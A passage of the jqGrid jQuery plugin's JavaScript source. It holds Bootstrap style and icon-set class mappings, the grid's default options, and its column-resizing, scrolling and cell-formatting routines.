: "glyphicon-backward", icon_next: "glyphicon-forward", icon_end: "glyphicon-step-forward", icon_asc : "glyphicon-triangle-top", icon_desc : "glyphicon-triangle-bottom", icon_caption_open : "glyphicon-circle-arrow-up", icon_caption_close : "glyphicon-circle-arrow-down" }, modal : { modal : "modal", content :"modal-content", header : "modal-header", title : "modal-title", body :"modal-body", footer :"modal-footer", resizable : "ui-resizable-handle ui-resizable-se", icon_close : "glyphicon-remove-circle", icon_resizable : "glyphicon-import" }, celledit : { inputClass : 'form-control', selectClass: 'form-control' }, inlinedit : { inputClass : 'form-control', selectClass: 'form-control', icon_edit_nav : "glyphicon-edit", icon_add_nav : "glyphicon-plus", icon_save_nav : "glyphicon-save", icon_cancel_nav : "glyphicon-remove-circle" }, formedit : { labelClass : "", inputClass : "form-control", selectClass: 'form-control', icon_prev : "glyphicon-step-backward", icon_next : "glyphicon-step-forward", icon_save : "glyphicon-save", icon_close : "glyphicon-remove-circle", icon_del : "glyphicon-trash", icon_cancel : "glyphicon-remove-circle" }, navigator : { icon_edit_nav : "glyphicon-edit", icon_add_nav : "glyphicon-plus", icon_del_nav : "glyphicon-trash", icon_search_nav : "glyphicon-search", icon_refresh_nav : "glyphicon-refresh", icon_view_nav : "glyphicon-info-sign", icon_newbutton_nav : "glyphicon-new-window" }, grouping : { icon_plus : 'glyphicon-triangle-right', icon_minus : 'glyphicon-triangle-bottom' }, filter : { table_widget : 'table table-condensed', srSelect : 'form-control', srInput : 'form-control', menu_widget : '', icon_search : 'glyphicon-search', icon_reset : 'glyphicon-refresh', icon_query :'glyphicon-comment' }, subgrid : { icon_plus : 'glyphicon-triangle-right', icon_minus : 'glyphicon-triangle-bottom', icon_open : 'glyphicon-indent-left' }, treegrid : { icon_plus : 'glyphicon-triangle-right', icon_minus : 'glyphicon-triangle-bottom', icon_leaf : 'glyphicon-unchecked' }, fmatter : { icon_edit : "glyphicon-edit", icon_add : "glyphicon-plus", icon_save : "glyphicon-save", icon_cancel : "glyphicon-remove-circle", icon_del : "glyphicon-trash" }, colmenu : { menu_widget : '', input_checkbox : "", filter_select: "form-control", filter_input : "form-control", icon_menu : "glyphicon-menu-hamburger", icon_sort_asc : "glyphicon-sort-by-alphabet", icon_sort_desc : "glyphicon-sort-by-alphabet-alt", icon_columns : "glyphicon-list-alt", icon_filter : "glyphicon-filter", icon_group : "glyphicon-align-left", icon_freeze : "glyphicon-object-align-horizontal", icon_move: "glyphicon-move", icon_new_item : "glyphicon-new-window", icon_toolbar_menu : "glyphicon-menu-hamburger" } }, Bootstrap4 : { common : { disabled: "ui-disabled", highlight : "table-success", hover : "table-active", cornerall: "", cornertop: "", cornerbottom : "", hidden : "", overlay: "ui-overlay", active : "active", error : "alert-danger", button : "btn btn-light", content : "", shadow : "shadow p-3 mb-5 bg-white rounded" }, base : { entrieBox : "", viewBox : "table-responsive", headerTable : "table table-bordered", headerBox : "", rowTable : "table table-bordered", rowBox : "", stripedTable : "table-striped", footerTable : "table table-bordered", footerBox : "", headerRowTable : "table table-bordered", headerRowBox : "", headerDiv : "", gridtitleBox : "", customtoolbarBox : "", //overlayBox: "ui-overlay", loadingBox : "row", rownumBox : "active", scrollBox : "", multiBox : "checkbox", searchBox : "form-control", searchSelect : "form-control form-control-sm", pagerBox : "", pagerTable : "table", toppagerBox : "", pgInput : "form-control", pgSelectBox : "form-control", pgButtonBox : "" }, modal : { modal : "modal", content :"modal-content", header : "modal-header", title : "modal-title", body :"modal-body", footer :"modal-footer", resizable : "ui-resizable-handle ui-resizable-se", icon_close : "oi-circle-x", icon_resizable : "oi-circle-x" }, celledit : { inputClass : 'form-control', selectClass: 'form-control' }, inlinedit : { inputClass : 'form-control', selectClass: 'form-control' }, formedit : { labelClass : "form-label", inputClass : "form-control", selectClass: 'form-control' }, navigator : { }, grouping : { }, filter : { table_widget : 'table table-condensed', srSelect : 'form-control', srInput : 'form-control', menu_widget : '' }, subgrid : { }, treegrid : { }, fmatter : { }, colmenu : { menu_widget : '', input_checkbox : "", filter_select: "form-control", filter_input : "form-control" } }, Bootstrap5 : { common : { disabled: "ui-disabled", highlight : "table-success", hover : "table-active", cornerall: "", cornertop: "", cornerbottom : "", hidden : "", overlay: "ui-overlay", active : "active", error : "alert alert-danger", button : "btn btn-light", content : "", shadow : "shadow p-3 mb-5 bg-body rounded" }, base : { entrieBox : "", viewBox : "table-responsive", headerTable : "table table-bordered", headerBox : "", rowTable : "table table-bordered", rowBox : "", stripedTable : "table-striped", footerTable : "table table-bordered", footerBox : "", headerRowTable : "table table-bordered", headerRowBox : "", headerDiv : "", gridtitleBox : "", customtoolbarBox : "", //overlayBox: "ui-overlay", loadingBox : "row", rownumBox : "active", scrollBox : "", multiBox : "checkbox", searchBox : "form-control", searchSelect : "form-select", pagerBox : "", pagerTable : "table", toppagerBox : "", pgInput : "form-control", pgSelectBox : "form-select", pgButtonBox : "" }, modal : { modal : "modal", header : "modal-header", title : "modal-title", content :"modal-content", body :"modal-body", footer :"modal-footer", resizable : "ui-resizable-handle ui-resizable-se", icon_close : "oi-circle-x", icon_resizable : "oi-circle-x" }, celledit : { inputClass : 'form-control', selectClass: 'form-select' }, inlinedit : { inputClass : 'form-control', selectClass: 'form-select' }, formedit : { labelClass : "form-label", inputClass : "form-control", selectClass: 'form-select' }, navigator : { }, grouping : { }, filter : { table_widget : 'table table-sm', srSelect : 'form-select', srInput : 'form-control', menu_widget : '' }, subgrid : { }, treegrid : { }, fmatter : { }, colmenu : { menu_widget : '', input_checkbox : "", filter_select: "form-select", filter_input : "form-control" } } }, iconSet : { Iconic : { common : { icon_base : "oi" }, base : { icon_first : "oi-media-step-backward", icon_prev : "oi-caret-left", icon_next: "oi-caret-right", icon_end: "oi-media-step-forward", icon_asc : "oi-caret-top", icon_desc : "oi-caret-bottom", icon_caption_open : "oi-collapse-up", icon_caption_close : "oi-expand-down" }, modal : { icon_close : "oi-circle-x", icon_resizable : "oi-plus" }, inlinedit : { icon_edit_nav : "oi-pencil", icon_add_nav : "oi-plus", icon_save_nav : "oi-check", icon_cancel_nav : "oi-action-undo" }, formedit : { icon_prev : "oi-chevron-left", icon_next : "oi-chevron-right", icon_save : "oi-check", icon_close : "oi-ban", icon_del : "oi-delete", icon_cancel : "oi-ban" }, navigator : { icon_edit_nav : "oi-pencil", icon_add_nav : "oi-plus", icon_del_nav : "oi-trash", icon_search_nav : "oi-zoom-in", icon_refresh_nav : "oi-reload", icon_view_nav : "oi-browser", icon_newbutton_nav : "oi-book" }, grouping : { icon_plus : 'oi-caret-right', icon_minus : 'oi-caret-bottom' }, filter : { icon_search : 'oi-magnifying-glass', icon_reset : 'oi-reload', icon_query :'oi-comment-square' }, subgrid : { icon_plus : 'oi-chevron-right', icon_minus : 'oi-chevron-bottom', icon_open : 'oi-expand-left' }, treegrid : { icon_plus : 'oi-plus', icon_minus : 'oi-minus', icon_leaf : 'oi-media-record' }, fmatter : { icon_edit : "oi-pencil", icon_add : "oi-plus", icon_save : "oi-check", icon_cancel : "oi-action-undo", icon_del : "oi-trash" }, colmenu : { icon_menu : "oi-list", icon_sort_asc : "oi-sort-ascending", icon_sort_desc : "oi-sort-descending", icon_columns : "oi-project", icon_filter : "oi-magnifying-glass", icon_group : "oi-list-rich", icon_freeze : "oi-spreadsheet", icon_move: "oi-move", icon_new_item : "oi-external-link", icon_toolbar_menu : "oi-menu", icon_group_op :"", icon_oper_op : "", icon_reset : "oi-reload", icon_close : "oi-ban" } }, Octicons : { common : { icon_base : "octicon" }, base : { icon_first : "octicon-triangle-left", icon_prev : "octicon-chevron-left", icon_next: "octicon-chevron-right", icon_end: "octicon-triangle-right", icon_asc : "octicon-triangle-up", icon_desc : "octicon-triangle-down", icon_caption_open : "octicon-triangle-up", icon_caption_close : "octicon-triangle-down" }, modal : { icon_close : "octicon-x", icon_resizable : "octicon-plus" }, inlinedit : { icon_edit_nav : "octicon-pencil", icon_add_nav : "octicon-plus", icon_save_nav : "octicon-check", icon_cancel_nav : "octicon-circle-slash" }, formedit : { icon_prev : "octicon-chevron-left", icon_next : "octicon-chevron-right", icon_save : "octicon-check", icon_close : "octicon-x", icon_del : "octicon-trashcan", icon_cancel : "octicon-circle-slash" }, navigator : { icon_edit_nav : "octicon-pencil", icon_add_nav : "octicon-plus", icon_del_nav : "octicon-trashcan", icon_search_nav : "octicon-search", icon_refresh_nav : "octicon-sync", icon_view_nav : "octicon-file", icon_newbutton_nav : "octicon-link-external" }, grouping : { icon_plus : 'octicon-triangle-right', icon_minus : 'octicon-triangle-down' }, filter : { icon_search : 'octicon-search', icon_reset : 'octicon-sync', icon_query :'octicon-file-code' }, subgrid : { icon_plus : 'octicon-triangle-right', icon_minus : 'octicon-triangle-down', icon_open : 'octicon-git-merge' }, treegrid : { icon_plus : 'octicon-triangle-right', icon_minus : 'octicon-triangle-down', icon_leaf : 'octicon-primitive-dot' }, fmatter : { icon_edit : "octicon-pencil", icon_add : "octicon-plus", icon_save : "octicon-check", icon_cancel : "octicon-circle-slash", icon_del : "octicon-trashcan" }, colmenu : { icon_menu : "octicon-grabber", icon_sort_asc : "octicon-arrow-up", icon_sort_desc : "octicon-arrow-down", icon_columns : "octicon-repo", icon_filter : "octicon-search", icon_group : "octicon-list-unordered", icon_freeze : "octicon-repo", icon_move: "octicon-git-compare", icon_new_item : "octicon-link-external", icon_toolbar_menu : "octicon-three-bars", icon_group_op :"", icon_oper_op : "", icon_reset : "octicon-sync", icon_close : "octicon-x" } }, fontAwesome : { common : { icon_base : "fas" }, base : { icon_first : "fa-step-backward", icon_prev : "fa-backward", icon_next: "fa-forward", icon_end: "fa-step-forward", icon_asc : "fa-caret-up", icon_desc : "fa-caret-down", icon_caption_open : "fa-caret-square-up", icon_caption_close : "fa-caret-square-down " }, modal : { icon_close : "fa-window-close", icon_resizable : "fa-plus" }, inlinedit : { icon_edit_nav : "fa-edit", icon_add_nav : "fa-plus", icon_save_nav : "fa-save", icon_cancel_nav : "fa-replay" }, formedit : { icon_prev : "fa-chevron-left", icon_next : "fa-chevron-right", icon_save : "fa-save", icon_close : "fa-window-close", icon_del : "fa-trash", icon_cancel : "fa-times" }, navigator : { icon_edit_nav : "fa-edit", icon_add_nav : "fa-plus", icon_del_nav : "fa-trash", icon_search_nav : "fa-search", icon_refresh_nav : "fa-sync", icon_view_nav : "fa-sticky-note", icon_newbutton_nav : "fa-external-link-alt" }, grouping : { icon_plus : 'fa-caret-right', icon_minus : 'fa-caret-down' }, filter : { icon_search : 'fa-search', icon_reset : 'fa-reply', icon_query :'fa-pen-square ' }, subgrid : { icon_plus : 'fa-arrow-circle-right', icon_minus : 'fa-arrow-circle-down', icon_open : 'fa-ellipsis-v' }, treegrid : { icon_plus : 'fa-plus', icon_minus : 'fa-minus', icon_leaf : 'fa-circle' }, fmatter : { icon_edit : "fa-edit", icon_add : "fa-plus", icon_save : "fa-save", icon_cancel : "fa-undo", icon_del : "fa-trash" }, colmenu : { icon_menu : "fa-ellipsis-v", icon_sort_asc : "fa-sort-amount-up", icon_sort_desc : "fa-sort-amount-down", icon_columns : "fa-columns", icon_filter : "fa-filter", icon_group : "fa-object-group", icon_freeze : "fa-snowflake", icon_move: "fa-expand-arrows-alt", icon_new_item : "fa-external-link-alt", icon_toolbar_menu : "fa-list", icon_group_op :"", icon_oper_op : "", icon_reset : "fa-reply", icon_close : "fa-window-close" } }, Bootstrap5 : { common : { icon_base : "bi" }, base : { icon_first : "bi-chevron-bar-left", icon_prev : "bi-chevron-left", icon_next: "bi-chevron-right", icon_end: "bi-chevron-bar-right", icon_asc : "bi-caret-up-fill", icon_desc : "bi-caret-down-fill", icon_caption_open : "bi-arrows-collapse", icon_caption_close : "bi-arrows-expand" }, modal : { icon_close : "bi-x-lg", icon_resizable : "bi-box-arrow-in-down-right" }, inlinedit : { icon_edit_nav : "bi-pencil-square", icon_add_nav : "bi-plus-square", icon_save_nav : "bi-save", icon_cancel_nav : "bi-x-square" }, formedit : { icon_prev : "bi-chevron-left", icon_next : "bi-chevron-right", icon_save : "bi-save", icon_close : "bi-x-square", icon_del : "bi-trash", icon_cancel : "bi-x-octagon" }, navigator : { icon_edit_nav : "bi-pencil-square", icon_add_nav : "bi-plus-square", icon_del_nav : "bi-trash", icon_search_nav : "bi-search", icon_refresh_nav : "bi-arrow-clockwise", icon_view_nav : "bi-view-list", icon_newbutton_nav : "bi-window" }, grouping : { icon_plus : 'bi-caret-right', icon_minus : 'bi-caret-down' }, filter : { icon_search : 'bi-search', icon_reset : 'bi-arrow-clockwise', icon_query :'bi-journal-code' }, subgrid : { icon_plus : 'bi-chevron-right', icon_minus : 'bi-chevron-down', icon_open : 'bi-arrow-bar-right' }, treegrid : { icon_plus : 'bi-plus-square-dotted', icon_minus : 'bi-dash-square-dotted', icon_leaf : 'bi-circle' }, fmatter : { icon_edit : "bi-pencil-square", icon_add : "bi-plus-square", icon_save : "bi-save", icon_cancel : "bi-x-square", icon_del : "bi-trash" }, colmenu : { icon_menu : "bi-list", icon_sort_asc : "bi-sort-alpha-down", icon_sort_desc : "bi-sort-alpha-up", icon_columns : "bi-columns", icon_filter : "bi-search", icon_group : "bi-collection-play", icon_freeze : "bi-layout-text-sidebar-reverse", icon_move: "bi-arrows-move", icon_new_item : "bi-window", icon_toolbar_menu : "bi-card-text", icon_group_op :"", icon_oper_op : "", icon_reset : "bi-arrow-clockwise", icon_close : "bi-x-square" } } } }); $.fn.jqGrid = function( pin ) { if (typeof pin === 'string') { var fn = $.jgrid.getMethod(pin); if (!fn) { throw "jqGrid - No such method: " + pin; } var args = $.makeArray(arguments).slice(1); return fn.apply(this,args); } return this.each( function() { if(this.grid) {return;} var localData; if ( !$.jgrid.isNull(pin) && pin.data !== undefined) { localData = pin.data; pin.data = []; } var p = $.extend(true,{ url: "", height: 150, defaultColWidth : 150, page: 1, rowNum: 20, rowTotal : null, records: 0, pager: "", pgbuttons: true, pginput: true, colModel: [], rowList: [], colNames: [], sortorder: "asc", sortname: "", datatype: "xml", mtype: "GET", altRows: false, selarrrow: [], preserveSelection : false, savedRow: [], shrinkToFit: true, xmlReader: {}, jsonReader: {}, subGrid: false, subGridModel :[], reccount: 0, lastpage: 0, lastsort: 0, selrow: null, beforeSelectRow: null, onSelectRow: null, onSortCol: null, ondblClickRow: null, onRightClickRow: null, onPaging: null, onSelectAll: null, onInitGrid : null, loadComplete: null, gridComplete: null, loadError: null, loadBeforeSend: null, afterInsertRow: null, beforeRequest: null, beforeProcessing : null, onHeaderClick: null, viewrecords: false, loadonce: false, multiselect: false, multikey: false, multiboxonly : false, multimail : false, multiselectWidth: 30, onMultiSleect : null, editurl: null, search: false, caption: "", hidegrid: true, hiddengrid: false, postData: {}, userData: {}, treeGrid : false, treeGridModel : 'nested', treeReader : {}, treeANode : -1, ExpandColumn: null, tree_root_level : 0, prmNames: { page:"page", rows:"rows", sort: "sidx", order: "sord", search:"_search", nd:"nd", id:"id", oper:"oper", editoper:"edit", addoper:"add", deloper:"del", subgridid:"id", npage: null, totalrows:"totalrows" }, forceFit : false, gridstate : "visible", cellEdit: false, cellsubmit: "remote", nv:0, loadui: "enable", toolbar: [false,""], scroll: false, deselectAfterSort : true, scrollrows : false, autowidth: false, scrollOffset : $.jgrid.scrollbarWidth() + 3, // one extra for windows cellLayout: 5, subGridWidth: 20, gridview: true, rownumWidth: 35, rownumbers : false, pagerpos: 'center', recordpos: 'right', footerrow : false, userDataOnFooter : false, headerrow : false, userDataOnHeader : false, hoverrows : true, viewsortcols : [false,'vertical',true], resizeclass : '', autoencode : false, remapColumns : [], ajaxGridOptions :{}, direction : "ltr", toppager: false, headertitles: false, scrollTimeout: 40, data : [], _index : {}, grouping : false, groupingView : { groupField:[], groupOrder:[], groupText:[], groupColumnShow:[], groupSummary:[], showSummaryOnHide: false, sortitems:[], sortnames:[], summary:[], summaryval:[], plusicon: '', minusicon: '', displayField: [], groupSummaryPos:[], formatDisplayField : [], _locgr : false }, groupHeaderOn : false, ignoreCase : true, cmTemplate : {}, idPrefix : "", multiSort : false, minColWidth : 33, minGridWidth : 100, maxGridWidth : 3000, scrollPopUp : false, scrollTopOffset: 0, // pixel scrollLeftOffset : "100%", //percent scrollMaxBuffer : 0, storeNavOptions: false, regional : "en", styleUI : "jQueryUI", iconSet : "Iconic", responsive : false, forcePgButtons : false, resizeHeight : true, restoreCellonFail : true, editNextRowCell : false, colFilters : {}, colMenu : false, colMenuCustom : {}, colMenuColumnDone : null, colMenuBeforeProcess : null, colSpanHeader : [], // tree pagging treeGrid_bigData: false, treeGrid_rootParams: {otherData:{}}, treeGrid_beforeRequest: null, treeGrid_afterLoadComplete: null, useNameForSearch : false, formatFooterData : false, formatHeaderData : false, mergeSearch : false, searchModules : { mergeOper : 'AND', filterInput : true, filterToolbar : true, searchGrid : true, colMenuSearch : true }, emptyRecordRow : true, ariaBody : false, searchCols : false, searchColOptions : { colWidth : 90, searchOp : "OR", //default operand : "cn", // default useCase : false, // for searching colName : "Search Col", // header title colmenu : true, // special colmenu searchOnEnter : true, aOperands : ['cn', 'bw', 'ew', 'eq', 'ne'], // allowed options _cnth : ['cb', 'rn', 'sc', 'subgrid', 'col_name'], // internal (just in case) visibleColumns : [] }, dbconfig: { dbname : "", dbversion : -1, dbtable : "", deleteIfExists : false, loadIfExists : false, isKeyInData : false, dataUrl : "", reader : null, beforeInsertData : null, fetchOptions : {} } }, $.jgrid.defaults , pin ); if (localData !== undefined) { p.data = localData; pin.data = localData; } var ts= this, grid={ headers:[], cols:[], footers: [], hrheaders : [], dragStart: function(i,x,y) { var gridLeftPos = $(this.bDiv).offset().left, minW = parseInt( (p.colModel[i].minResizeWidth ? p.colModel[i].minResizeWidth : p.minColWidth), 10); if(isNaN( minW )) { minW = 33; } this.resizing = { idx: i, startX: x.pageX, sOL : x.pageX - gridLeftPos, minW : minW }; this.hDiv.style.cursor = "col-resize"; this.curGbox = $("#rs_m"+$.jgrid.jqID(p.id),"#gbox_"+$.jgrid.jqID(p.id)); this.curGbox.css({display:"block",left:x.pageX-gridLeftPos,top:y[1],height:y[2]}); $(ts).triggerHandler("jqGridResizeStart", [x, i]); if($.jgrid.isFunction(p.resizeStart)) { p.resizeStart.call(ts,x,i); } document.onselectstart=function(){return false;}; }, dragMove: function(x) { if(this.resizing) { var diff = x.pageX-this.resizing.startX, h = this.headers[this.resizing.idx], newWidth = p.direction === "ltr" ? h.width + diff : h.width - diff, hn, nWn; if(newWidth > this.resizing.minW) { this.curGbox.css({left:this.resizing.sOL+diff}); if(p.forceFit===true ){ hn = this.headers[this.resizing.idx+p.nv]; nWn = p.direction === "ltr" ? hn.width - diff : hn.width + diff; if(nWn > this.resizing.minW ) { h.newWidth = newWidth; hn.newWidth = nWn; } } else { this.newWidth = p.direction === "ltr" ? p.tblwidth+diff : p.tblwidth-diff; h.newWidth = newWidth; } } } }, dragEnd: function( events, forceFrozen ) { this.hDiv.style.cursor = "default"; if(forceFrozen === undefined) { forceFrozen = true; } if(this.resizing) { var idx = this.resizing.idx, nw = this.headers[idx].newWidth || this.headers[idx].width; nw = parseFloat(nw); this.resizing = false; $("#rs_m"+$.jgrid.jqID(p.id)).css("display","none"); p.colModel[idx].width = nw; this.headers[idx].width = nw; this.headers[idx].el.style.width = nw + "px"; this.cols[idx].style.width = nw+"px"; if(this.footers.length>0) {this.footers[idx].style.width = nw+"px";} if(this.hrheaders.length>0) {this.hrheaders[idx].style.width = nw+"px";} if(p.forceFit===true){ nw = this.headers[idx+p.nv].newWidth || this.headers[idx+p.nv].width; this.headers[idx+p.nv].width = nw; this.headers[idx+p.nv].el.style.width = nw + "px"; this.cols[idx+p.nv].style.width = nw+"px"; if(this.footers.length>0) {this.footers[idx+p.nv].style.width = nw+"px";} if(this.hrheaders.length>0) {this.hrheaders[idx+p.nv].style.width = nw+"px";} p.colModel[idx+p.nv].width = nw; } else { p.tblwidth = this.newWidth || p.tblwidth; $(this.bDiv).find('table').first().css("width",p.tblwidth+"px"); $(this.hDiv).find('table').first().css("width",p.tblwidth+"px"); this.hDiv.scrollLeft = this.bDiv.scrollLeft; if(p.footerrow) { $(this.sDiv).find('table').first().css("width",p.tblwidth+"px"); this.sDiv.scrollLeft = this.bDiv.scrollLeft; } if(p.headerrow) { $(this.hrDiv).find('table').first().css("width",p.tblwidth+"px"); this.hrDiv.scrollLeft = this.bDiv.scrollLeft; } } if(events) { $(ts).triggerHandler("jqGridResizeStop", [nw, idx]); if($.jgrid.isFunction(p.resizeStop)) { p.resizeStop.call(ts,nw,idx); } } if(p.frozenColumns && forceFrozen) { $("#"+$.jgrid.jqID(p.id)).jqGrid("destroyFrozenColumns"); $("#"+$.jgrid.jqID(p.id)).jqGrid("setFrozenColumns"); } } this.curGbox = null; document.onselectstart=function(){return true;}; }, populateVisible: function() { if (grid.timer) { clearTimeout(grid.timer); } grid.timer = null; var dh = $(grid.bDiv).height(); if (!dh) { return; } var table = $(grid.bDiv).find("table").first(); var rows, rh; if(table[0].rows.length) { try { rows = table[0].rows[1]; rh = rows ? $(rows).outerHeight() || grid.prevRowHeight : grid.prevRowHeight; } catch (pv) { rh = grid.prevRowHeight; } } if (!rh) { return; } grid.prevRowHeight = rh; var rn = p.rowNum; var scrollTop = grid.scrollTop = grid.bDiv.scrollTop; var ttop = Math.round(table.position().top) - scrollTop; var tbot = ttop + table.height(); var div = rh * rn; var page, npage, empty; if ( tbot < dh && ttop <= 0 && (p.lastpage===undefined||(parseInt((tbot + scrollTop + div - 1) / div,10) || 0) <= p.lastpage)) { npage = parseInt((dh - tbot + div - 1) / div,10) || 1; if (tbot >= 0 || npage < 2 || p.scroll === true) { page = ( Math.round((tbot + scrollTop) / div) || 0) + 1; ttop = -1; } else { ttop = 1; } } if (ttop > 0) { page = ( parseInt(scrollTop / div,10) || 0 ) + 1; npage = (parseInt((scrollTop + dh) / div,10) || 0) + 2 - page; empty = true; } if (npage) { if (p.lastpage && (page > p.lastpage || p.lastpage===1 || (page === p.page && page===p.lastpage)) ) { return; } if (grid.hDiv.loading) { grid.timer = setTimeout(grid.populateVisible, p.scrollTimeout); } else { p.page = page; if( p.scrollMaxBuffer > 0 ) { if( rn > 0 && p.scrollMaxBuffer < rn ) { p.scrollMaxBuffer = rn + 1; } if(p.reccount > (p.scrollMaxBuffer - (rn > 0 ? rn : 0) ) ) { empty = true; } } if (empty) { grid.selectionPreserver(table[0]); grid.emptyRows.call(table[0], false, false); } grid.populate(npage); } if(p.scrollPopUp && !$.jgrid.isNull(p.lastpage)) { $("#scroll_g"+p.id).show().html( $.jgrid.template( $.jgrid.getRegional(ts, "defaults.pgtext", p.pgtext) , p.page, p.lastpage)).css({ "top": p.scrollTopOffset+scrollTop*((parseInt(p.height,10) - 45)/ (parseInt(rh,10)*parseInt(p.records,10))) +"px", "left" : p.scrollLeftOffset}); $(this).mouseout(function(){ $("#scroll_g"+p.id).hide(); }); } } }, scrollGrid: function() { if(!grid.bScroll) { grid.hScroll = true; if(p.scroll) { var scrollTop = grid.bDiv.scrollTop; if(grid.scrollTop === undefined) { grid.scrollTop = 0; } if (scrollTop !== grid.scrollTop) { grid.scrollTop = scrollTop; if (grid.timer) { clearTimeout(grid.timer); } grid.timer = setTimeout(grid.populateVisible, p.scrollTimeout); } } grid.hDiv.scrollLeft = grid.bDiv.scrollLeft; if(p.footerrow) { grid.sDiv.scrollLeft = grid.bDiv.scrollLeft; } if(p.headerrow) { grid.hrDiv.scrollLeft = grid.bDiv.scrollLeft; } if(p.frozenColumns) { $(grid.fbDiv).scrollTop( grid.bDiv.scrollTop ); } try { $("#column_menu").remove(); } catch (e) {} } grid.bScroll = false; }, selectionPreserver : function(ts) { var p = ts.p, sr = p.selrow, sra = p.selarrrow ? $.makeArray(p.selarrrow) : null, left = ts.grid.bDiv.scrollLeft, restoreSelection = function() { var i; //p.selrow = null; //p.selarrrow = []; if(p.multiselect && sra && sra.length>0) { for(i=0;i<sra.length;i++){ if (sra[i]) { $(ts).jqGrid("setSelection", sra[i], false, "_sp_"); } } } if (!p.multiselect && sr) { $(ts).jqGrid("setSelection", sr, false, null); } ts.grid.bDiv.scrollLeft = left; $(ts).off('.selectionPreserver', restoreSelection); }; $(ts).on('jqGridGridComplete.selectionPreserver', restoreSelection); }, hScroll : false, bScroll : false }; if( this.tagName.toUpperCase() !== 'TABLE' || $.jgrid.isNull(this.id) ) { alert("Element is not a table or has no id!"); return; } if(document.documentMode !== undefined ) { // IE only if(document.documentMode <= 5) { alert("Grid can not be used in this ('quirks') mode!"); return; } } var i =0, lr, lk, dir, spsh; for( lk in $.jgrid.regional ){ if($.jgrid.regional.hasOwnProperty(lk)) { if(i===0) { lr = lk; } i++; } } if(i === 1 && lr !== p.regional) { p.regional = lr; } $(this).empty().attr("tabindex","0"); this.p = p ; this.p.useProp = !!$.fn.prop; if(this.p.colNames.length === 0) { for (i=0;i<this.p.colModel.length;i++){ this.p.colNames[i] = this.p.colModel[i].label || this.p.colModel[i].name; } } if( this.p.colNames.length !== this.p.colModel.length ) { alert($.jgrid.getRegional(this,"errors.model")); return; } if(ts.p.styleUI === 'Bootstrap4') { if($.jgrid.iconSet.hasOwnProperty(ts.p.iconSet)) { $.extend(true, $.jgrid.styleUI.Bootstrap4, $.jgrid.iconSet[ts.p.iconSet]); } } if(ts.p.styleUI === 'Bootstrap5') { if($.jgrid.iconSet.hasOwnProperty(ts.p.iconSet)) { $.extend(true, $.jgrid.styleUI.Bootstrap5, $.jgrid.iconSet[ts.p.iconSet]); } } var getstyle = $.jgrid.getMethod("getStyleUI"), stylemodule = ts.p.styleUI + ".common", disabled = getstyle(stylemodule,'disabled', true), highlight = getstyle(stylemodule,'highlight', true), hover = getstyle(stylemodule,'hover', true), cornerall = getstyle(stylemodule,'cornerall', true), iconbase = getstyle(stylemodule,'icon_base', true), colmenustyle = $.jgrid.styleUI[(ts.p.styleUI || 'jQueryUI')].colmenu, isMSIE = $.jgrid.msie(), gv, sortarr = [], sortord = [], sotmp=[]; stylemodule = ts.p.styleUI + ".base"; gv = $("<div "+getstyle(stylemodule, 'viewBox', false, 'ui-jqgrid-view')+" ></div>"); ts.p.direction = $.jgrid.trim(ts.p.direction.toLowerCase()); ts.p._ald = false; if($.inArray(ts.p.direction,["ltr","rtl"]) === -1) { ts.p.direction = "ltr"; } dir = ts.p.direction; $(gv).insertBefore(this); $(this).appendTo(gv); var eg = $("<div "+ getstyle(stylemodule, 'entrieBox', false, 'ui-jqgrid') +"></div>"); $(eg).attr({"id" : "gbox_"+this.id,"dir":dir}).insertBefore(gv); $(gv).attr("id","gview_"+this.id).appendTo(eg); $("<div "+getstyle(ts.p.styleUI+'.common','overlay', false, 'jqgrid-overlay')+ " id='lui_"+this.id+"'></div>").insertBefore(gv); $("<div "+getstyle(stylemodule,'loadingBox', false, 'loading')+" id='load_"+this.id+"'>"+$.jgrid.getRegional(ts, "defaults.loadtext", this.p.loadtext)+"</div>").insertBefore(gv); $(this).attr({role:"grid","aria-multiselectable":!!this.p.multiselect,"aria-labelledby":"gbox_"+this.id}); if(ts.p.datatype === 'indexeddb') { // datatype in databases $(ts).jqGrid('dbInit',ts.p.datatype ); } var sortkeys = ["shiftKey","altKey","ctrlKey"], grid_font = $.jgrid.getFont( ts ) , intNum = function(val, defval) { if( defval === undefined ) { defval = 0; } val = parseInt(val,10); return !isNaN(val) ? val : defval; }, formatCol = function (pos, rowInd, tv, rawObject, rowId, rdata){ var cm = ts.p.colModel[pos], cellAttrFunc, ral = cm.align, result="style=\"", clas = cm.classes, nm = cm.name, celp, acp=[]; if(ral) { result += "text-align:"+ral+";"; } if(cm.hidden===true) { result += "display:none;"; } if(rowInd===0) { result += "width: "+grid.headers[pos].width+"px;"; } else if ( $.jgrid.isFunction(cm.cellattr) || (typeof cm.cellattr === "string" && !$.jgrid.isNull( $.jgrid.cellattr ) && $.jgrid.isFunction($.jgrid.cellattr[cm.cellattr]))) { cellAttrFunc = $.jgrid.isFunction(cm.cellattr) ? cm.cellattr : $.jgrid.cellattr[cm.cellattr]; celp = cellAttrFunc.call(ts, rowId, tv, rawObject, cm, rdata); if(celp && typeof celp === "string") { if(celp.indexOf('title') > -1) { cm.title=false;} if(celp.indexOf('class') > -1) { clas = undefined;} celp = String(celp).replace(/\s+\=/g, '='); acp = celp.split("style="); if(acp.length === 2 ) { acp[1] = $.jgrid.trim(acp[1]); if(acp[1].indexOf("'") === 0 || acp[1].indexOf('"') === 0) { acp[1] = acp[1].substring(1); } result += acp[1].replace(/'/gi,'"'); } else { result += "\""; } } } if(!acp.length ) { acp[0] = ""; result += "\""; } else if(acp.length > 2) { acp[0] = ""; } result += (clas !== undefined ? (" class=\""+clas+"\"") :"") + ((cm.title && tv) ? (" title=\""+$.jgrid.stripHtml(tv)+"\"") :""); result += " aria-describedby=\""+ts.p.id+"_"+nm+"\""; return result + acp[0]; }, cellVal = function (val) { return $.jgrid.isNull(val) || val === "" ? " " : (ts.p.autoencode ? $.jgrid.htmlEncode(val) : String(val)); }, formatter = function (rowId, cellval , colpos, rwdat, _act){ var cm = ts.p.colModel[colpos],v; rowId = String(ts.p.idPrefix) !== "" ? $.jgrid.stripPref(ts.p.idPrefix, rowId) : rowId; var opts= {rowId: rowId, colModel:cm, gid:ts.p.id, pos:colpos, styleUI: ts.p.styleUI }; if(cm.formatter !== undefined) { if($.jgrid.isFunction( cm.formatter ) ) { v = cm.formatter.call(ts,cellval,opts,rwdat,_act); } else if($.fmatter){ v = $.fn.fmatter.call(ts,cm.formatter,cellval,opts,rwdat,_act); } else { v = cellVal(cellval); } } else { v = cellVal(cellval); } if(ts.p.autoResizing && cm.autosize) { if(!cm._maxsize) { cm._maxsize = 